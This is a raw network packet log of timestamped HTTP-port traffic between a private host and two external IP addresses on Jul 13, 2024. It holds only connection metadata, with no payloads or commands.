Jul 13, 2024 07:07:06.100898027 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100933075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.100939035 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100939035 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100960970 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.100992918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101006031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101006031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101046085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101073980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101079941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101097107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101118088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101131916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101151943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101180077 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101203918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101237059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101252079 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101253033 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101284981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101288080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101337910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101342916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101371050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101385117 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101404905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101425886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101454020 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101457119 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101490974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101525068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101543903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101560116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101577044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101593971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101604939 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101624012 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101643085 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101658106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101671934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101692915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101702929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101726055 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101737022 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101761103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101767063 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101804018 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101811886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101845980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101859093 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101880074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101887941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101913929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101924896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101955891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.101963997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.101998091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102030039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102037907 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102037907 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102065086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102092981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102119923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102138042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102144003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102179050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102190971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102221966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102230072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102267981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102276087 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102303028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102313042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102336884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102348089 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102371931 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.102380037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102406025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102420092 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.102436066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102448940 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102484941 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102518082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102524996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102524996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102549076 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102582932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102586985 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102586985 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102632046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102664948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102672100 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102672100 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102693081 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102732897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102732897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102741957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102775097 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102777958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102807999 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102839947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102871895 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102880955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102880955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102905035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102936983 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.102945089 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102945089 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.102972031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.103001118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103010893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.103010893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.103034019 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103049994 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103066921 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103079081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103101969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103136063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103146076 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103168011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103180885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103204966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103214979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103233099 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103250980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103266954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103280067 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103302002 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103312016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103331089 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103346109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103375912 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103384018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103418112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103461981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103466988 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103501081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103511095 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103545904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103554010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103588104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103601933 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103630066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103638887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103672981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103704929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103717089 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103739023 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103751898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103785038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103791952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103827000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103837013 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103871107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.103877068 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.103913069 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.103919029 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.103944063 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.103976965 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.103979111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.103979111 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104010105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104026079 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104043007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104053020 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104075909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104088068 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104110003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104121923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104161978 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104202986 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104202986 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104212046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104264975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104273081 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104298115 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104331017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104347944 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104347944 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104363918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104394913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104409933 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104429007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104438066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104463100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104474068 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104512930 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104531050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104564905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104568005 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104614973 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104623079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104670048 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104675055 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104710102 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104723930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104753017 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104759932 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.104794979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104808092 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.104823112 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104835987 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104856014 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104888916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104895115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104895115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104919910 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104959011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.104959965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104959965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.104993105 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105026960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105031967 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105031967 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105103970 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105264902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105319023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105345964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105375051 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105391979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105417967 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105428934 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105462074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105473042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105495930 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105530024 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105546951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105564117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.105597973 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105604887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105604887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.105729103 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105838060 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105860949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105894089 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105900049 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105900049 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105927944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105961084 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.105967045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.105967045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106010914 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106045961 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106051922 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106051922 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106079102 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106086969 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106112957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106144905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106178999 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106184959 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106184959 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106230021 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106264114 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106270075 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106270075 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106292009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106333017 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106333017 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106342077 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106395960 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106403112 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106431961 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106463909 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106479883 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106479883 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106498957 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106530905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106564045 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106570005 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106570005 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106596947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.106631041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106640100 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106640100 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.106679916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.106682062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106717110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106729031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.106750011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106761932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.106785059 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106796980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.106820107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106837988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.106854916 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.106899977 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107517958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107568026 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107582092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107615948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107629061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107659101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107667923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107701063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107712984 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107734919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107744932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107769966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.107779026 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.107812881 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.146792889 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146825075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146842003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146857977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146873951 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146881104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.146891117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146908045 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.146969080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.146969080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.146969080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.151947975 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152000904 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152019024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152053118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152062893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152086973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152124882 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152147055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152159929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152179003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152198076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152205944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152228117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.152252913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.152272940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.187284946 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187355995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187376022 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.187402964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.187428951 CEST	58981	80	192.168.2.5	85.28.47.70
